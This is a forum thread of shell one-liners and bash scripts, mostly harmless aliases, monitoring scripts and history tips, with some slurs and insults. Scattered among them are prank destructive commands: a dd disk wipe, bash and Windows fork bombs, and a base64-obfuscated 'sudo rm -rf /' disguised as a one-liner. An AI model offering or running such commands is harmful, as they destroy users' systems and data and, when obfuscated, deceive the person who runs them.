Shell scripts and useful oneliners

Shell scripts and useful oneliners.
Share them and make them famous.

Other urls found in this thread:

codepad.org/1los2d3s
artscene.textfiles.com/vt100/dirty.vt
ipecho.net/plain;
ipecho.net/plain
unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
twitter.com/NSFWRedditVideo

dd if=/dev/null of=/dev/sda

:(){ :|: & };:

apt-get install gentoo

Gonna drop this one, I use it as a system monitoring script.

Output is pic related

codepad.org/1los2d3s

x="bottles of beer"; y="on the wall"; i=99; while [ $i -gt 1 ]; do printf "%d %s %s, %d %s. Take one down, pass it around, %d %s %s ...\n" "$i" "$x" "$y" "$i" "$x" "$((i-1))" "$x" "$y"; i=$((i-1)); sleep 1; done

>>>/reddit/

>/dev/null
That just EOFs immediately.
I think you wanted /dev/zero

...

while true; do cls && ls && sleep 1; done

nice

for((;;i++)){ printf "%$(bc -l

/dev/random is a better choice.

Wrong.

huh, that's pretty neat family

...

>mint as server distro
>using default / partition for everything
Welcome to babbies first server

wtf my system frooze

curl -s artscene.textfiles.com/vt100/dirty.vt | pv -qL500

>Wrong.
W-why?

>cls
Lel. What a idiot.

Nothing happens.

works for me

i always alias clear to cls.
DOS master race

You watch your own webm back yet?

Thank you for this thread. I can't contribute but I appreciate it not being a velied ad.

oh no you saw part of a compile output of some really shitty code

$(echo 'c3VkbyBybSAtcmYgLwo=' | base64 -d)

function mdd {
mkdir -p $1 && cd $1
}

9 tr -dc a-z

No, just pointing out you have some really bad issues. Fix your capture program.

Because openssl has a faster pseudo random generator than the shitty kernel /dev/urandom

Random isn't really for dd'ing disks so I'm assuming you mean urandom.

Installed packages by size:
Arch:
alias pacstats="expac -HM '%m\t%n' | sort -n"
Debian/Ubuntu:
alias astats="dpkg-query -Wf '\${Installed-Size}\t\${Package}\n' | sort -n"
Fedora/CentOS:
alias rstats="rpm -qa --queryformat '%10{size} - %-25{name} \t %{version}\n' | sort -n"

Change the Debian/Ubuntu one to look like this:
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n

If you escape the $ it looks like this.

Waiting for a machine (or the Internet) to come back?

#!/bin/bash

decho() {
echo `date +%x-%X`: $@
}

if [[ $@ == "" ]]; then
echo "no host specified, using 4.2.2.1"
ip=4.2.2.1
else
ip=$@
fi

test=0

while sleep 1; do
if ping -qc1 -W1 $ip 1> /dev/null 2> /dev/null; then
decho "Host is back!"
if which beep 1> /dev/null 2> /dev/null; then ( beep -f 1000 -l 100 -r 5 & ); fi
if which notify-send 1> /dev/null 2> /dev/null; then (notify-send "Host is back" & ); fi
if which aplay 1> /dev/null 2> /dev/null; then (yes ddd|aplay -q 1> /dev/null 2> /dev/null) & ( sleep 1 ; killall aplay ); fi
exit 0
else
decho "Nothing yet..."
fi
done

If you type out a command and forget to sudo, you can do sudo !! and it'll rerun the last command just with sudo in the front.

Why not just do
watch -n 1 ls

or please
alias please='sudo $(history -p \!\!)'

Since you're using bash, you can use the shortcut &>/dev/null, which sends both, 1 and 2 to /dev/null.

Also don't use backticks (old style), level up to $() instead which is also better for nesting.

>while sleep 1; do
neat idea

alias please='sudo $(fc -ln -1)'

wtf I hate linux now

GNU

whats the point?

but not always

i have a bash script that randomizes the font and color scheme of each new terminal you make.

The selection is restricted to a list of font names and color schemes, so you can have as many or as little combinations as you want.(pic related)

It works perfectly and fast but is probably completely disgusting script wise

Please insult me


#!/bin/bash
Awhere=/home/you/Scripts/CCterm/
mkcs() {
sed -i '1s{.*{#include \"'$Awhere'xrdb/'$1'.xrdb\"{' $Awhere\precolorscheme
cpp -P $Awhere\precolorscheme -o $Awhere\postcolorscheme
}

if [ -e $Awhere\xrdb/"$1.xrdb" ]; then
#this does not work for colorschemes with a space in them
mkcs "$1" && xrdb -merge $Awhere\postcolorscheme
Bwhat=$(shuf -n1 $Awhere\fontnames)
urxvtc -name CCterm -fn "xft:$Bwhat"

fi


if [ -s $Awhere\precolorscheme ] && [ $# -eq 0 ]; then

Awhat=$(shuf -n1 $Awhere\colorschemes)
Bwhat=$(shuf -n1 $Awhere\fontnames)
mkcs $Awhat && xrdb -merge $Awhere\postcolorscheme
urxvtc -name CCterm -fn "xft:$Bwhat"
echo "$Awhat in $Bwhat"

elif [ ! -s $Awhere\precolorscheme ]; then

echo "
CCterm*color0: Ansi_0_Color
CCterm*color1: Ansi_1_Color
CCterm*color2: Ansi_2_Color
CCterm*color3: Ansi_3_Color
CCterm*color4: Ansi_4_Color
CCterm*color5: Ansi_5_Color
CCterm*color6: Ansi_6_Color
CCterm*color7: Ansi_7_Color
CCterm*color8: Ansi_8_Color
CCterm*color9: Ansi_9_Color
CCterm*color10: Ansi_10_Color
CCterm*color11: Ansi_11_Color
CCterm*color12: Ansi_12_Color
CCterm*color13: Ansi_13_Color
CCterm*color14: Ansi_14_Color
CCterm*color15: Ansi_15_Color
CCterm*colorBD: Bold_Color
CCterm*foreground: Foreground_Color
CCterm*background: Background_Color
CCterm*cursorColor: Cursor_Color
CCterm.scrollBar: false" >> $Awhere\/precolorscheme
bash $Awhere/CCterm.sh

fi

some one liners and functions in my .bash_aliases
alias extip="curl ipecho.net/plain; echo"
alias intip="/bin/hostname --all-ip-addresses"
alias :q='exit'
# generate history statistics
function hstat {
if [ -z "$1" ]; then
# default to length=10
history|awk '{print $2}'|awk 'BEGIN {FS="|"} \
{print $1}'|sort|uniq -c|sort -rn|head -10
else
history|awk '{print $2}'|awk 'BEGIN {FS="|"} \
{print $1}'|sort|uniq -c|sort -rn|head -$1
fi
}
# back up single file
function bkp {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: bkp "
else
cp "$1"{,.old}
echo "$1 -> $1.old"
fi
}
# create and move into directory
function mkcd {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: mkcd "
else
mkdir $1
cd $1
fi
}
# move to directoty and list its content
function lcd {
cd "$1"
ls
}

Lewld.

and obviously
# extract all archive formats
function extract {
if [ -z "$1" ]; then
# display usage if no parameters given
echo "USAGE: extract ."
else
if [ -f $1 ] ; then
# NAME=${1%.*}
# mkdir $NAME && cd $NAME
case $1 in
*.tar.bz2) tar xvjf ../$1 ;;
*.tar.gz) tar xvzf ../$1 ;;
*.tar.xz) tar xvJf ../$1 ;;
*.lzma) unlzma ../$1 ;;
*.bz2) bunzip2 ../$1 ;;
*.rar) unrar x -ad ../$1 ;;
*.gz) gunzip ../$1 ;;
*.tar) tar xvf ../$1 ;;
*.tbz2) tar xvjf ../$1 ;;
*.tgz) tar xvzf ../$1 ;;
*.zip) unzip ../$1 ;;
*.Z) uncompress ../$1 ;;
*.7z) 7z x ../$1 ;;
*.xz) unxz ../$1 ;;
*.exe) cabextract ../$1 ;;
*) echo "extract: '$1' - unknown archive method" ;;
esac
else
echo "$1 - file does not exist"
fi
fi
}

curl -w '\n' ipecho.net/plain

faster:
dig +short myip.opendns.com @resolver1.opendns.com

always quote variables, unquoted they may break on strings with spaces, it's also a security issue

try sudo $(history -p !!)

%0|%0

Not him but why is it a security issue? I'm genuinely curious.

echo "op is a fag"

>do i fit in yet?? XDD

$ make love

unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

use printf

alias iamanenormousfaggotandcantstopsavingthumbnailsfrom4chanthreads='find . -type f -name '*.jpg' | grep "[0-9]\{6,\}s\.jpg"'

I would guess it's because they break with spaces so you can do things you shouldnt be able to like add a switch instead of an string or something causing the function to do something totally differemt

find has -regex, use it

Wow this is a fascinating read thank you for linking it.

Learn the Event Designators section of info history.
Learn it gud.
Create a file called .rhistory # Because autocomplete and nothing else starts with .rh
.rhistory is all your bash one-liners.
If your .rhistory has 24 lines, make the first line "fc -l 1 24".
Now history -cr .rhistory && history -w
Now because your first line is fc -l 1 24, running !1 will show you your first 24 history lines.
If line 3 is "compgen -abckA function | grep" you can just !3 ^ch or some shit.
If line 5 is ps -o pid,comm,pmem,pcpu,uname -C $(xlsclients | cut -d" " -f3 | paste - -s -d ,)
you can !5 or !?xls
Also if you put a \! on the front of your PS1, you get a line number on your bash prompt.

I posted a question in /sqt/ about a week ago about how to make find -regex search recursively, and never got a response.

curl -s "$1" \
| grep -o '

Or, more easy:
1. create a .bash_aliases and source it in you .bashrc (you want your commands numbered?
Write:
alias c1="yourcommand"
alias c2="..." etc).
2. Type "alias" in your shell for the list.
3. Profit (or not, I don't care)

I have a .bash_aliases file.
I keep my env variables and functions there, too.
But my .rhistory idea is for history expansions and substitutions.
As is
!22:s/old/new

You can re-run commands from your bash history, They're already numbered.
You can edit them at the same time, substituting different arguments or commands, and adding to them. and use wildcard ?
>info history's event designators, word designators
>help fc

Nice v6 mustang speedometer.

awk --copyleft | wc -c

Holy fuck, my largest package was qt5-doc at fucking half a gigabyte

How is this allowed in 2017

just do up, control+a (jumps to the beginning of the line), type sudo, space, enter

yeah i actually do this more often

echo '${c1}' > foo && fortune | cowsay >> foo && clear && neofetch --ascii foo

Get on my level.

bind '"\es":"sudo !!\C-m"'